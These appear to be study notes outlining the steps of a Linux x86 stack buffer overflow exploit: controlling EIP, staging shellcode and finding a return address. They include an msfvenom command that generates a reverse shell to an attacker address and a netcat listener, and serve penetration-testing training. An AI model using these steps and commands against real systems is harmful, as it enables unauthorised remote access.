Linux Buffer Overflow

About DEP, ASLR, and Canaries

• DEP: Data Execution prevention
• ASLR: Address Space Layout Randomization
• Stack Canaries: Canaries or canary words are known values that are placed between a buffer and control data on the stack to monitor buffer overflows. When the buffer overflows, the first data to be corrupted will usually be the canary, and a failed verification of the canary data will therefore alert of an overflow.

Replicating the Crash

• Start the vulnerable process
• Use the edb debugger: https://github.com/eteran/edb-debugger
  • Select a process and attach it
  • Unpause the execution with F9
• Try out the publicly available PoC
• Restart the vulnerable process and edb

Controlling EIP

• Create a unique buffer string: msf-pattern_create -l 4379
• Update and execute the new PoC
• Search for the 4 unique bytes you saw in EIP: msf-pattern_offset -q 46367046
• Update PoC to send 4 B characters after the given offset to verify the offset and thus our control over EIP

Locating Space for Our Shellcode

• Identify which registers point to our buffer at the time of the crash
  • This info is necessary to identify and jump or call instructions, which we can use to redirect the execution flow to our buffer
• If we can’t increase the payload and the pointer points to the end of your buffer we can modify that section to point to a section in our buffer where we have enough space for your payload
  • to get the Opcode for this use msf-nasm_shell
    • add eax,12
    • jmp eax
  • add this opcode to the PoC

Checking for Bad Characters

• Same as in Windows Buffer Overflow

Finding a Return Address

• Now we need to find a address which jumps to the instruction we’ve put inside the ESP section (→ our first stage which point to the section where we have enough space to place our payload)
  • To find this use edb’s plugin called “OpcodeSearcher”
    • select ESP -> EIP
    • use a jmp instruction
  • use this address in the PoC

Getting a Shell

• Now all that’s left is placing the reverse shell into the buffer at the location the first stage is pointing to
  • generate the code: msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 -b "\x00\x20" -f py -v shellcode
• Test the connection by setting up a net cat listener nc -lvnp 443
• If the connection hangs, check if the debugger caught a SIGCHLD error
  • This happens when a process stops, exits, crashes
  • To fix it either skip over the error or run the target service/program without a debugger attached

---

Relevant Note(s):